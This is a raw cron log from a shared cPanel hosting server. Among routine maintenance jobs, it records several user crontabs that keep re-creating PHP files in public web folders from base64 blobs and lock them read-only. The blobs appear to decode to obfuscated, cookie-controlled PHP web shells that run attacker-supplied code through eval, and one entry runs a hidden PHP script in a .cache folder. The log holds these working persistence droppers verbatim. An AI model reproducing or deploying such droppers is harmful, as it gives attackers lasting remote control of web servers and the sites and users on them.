Mar  2 11:23:02 medusa CROND[5531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:23:02 medusa CROND[5532]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:23:02 medusa CROND[5535]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:24:01 medusa CROND[24369]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:24:01 medusa CROND[24370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:24:01 medusa CROND[24372]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:24:01 medusa CROND[24373]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:24:01 medusa CROND[24376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:24:01 medusa CROND[24377]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:24:01 medusa CROND[24380]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:24:01 medusa CROND[24381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:24:01 medusa CROND[24383]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:24:01 medusa CROND[24385]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:24:01 medusa CROND[24386]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:24:01 medusa CROND[24387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:24:01 medusa CROND[24389]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:25:01 medusa CROND[9720]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:25:01 medusa CROND[9887]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:25:01 medusa CROND[9943]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:25:01 medusa CROND[9980]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:25:01 medusa CROND[9983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:25:01 medusa CROND[9984]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:25:01 medusa CROND[9985]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:25:01 medusa CROND[9982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:25:01 medusa CROND[9989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:25:01 medusa CROND[9994]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:25:01 medusa CROND[9996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:25:01 medusa CROND[9991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:25:01 medusa CROND[10001]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:25:01 medusa CROND[10002]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:25:01 medusa CROND[10004]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:25:01 medusa CROND[9993]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:25:01 medusa CROND[10008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:25:01 medusa CROND[10010]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:25:01 medusa CROND[10011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:25:01 medusa CROND[9997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:25:01 medusa CROND[10018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:25:01 medusa CROND[10020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:26:01 medusa CROND[26820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:26:01 medusa CROND[27124]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:26:01 medusa CROND[27127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
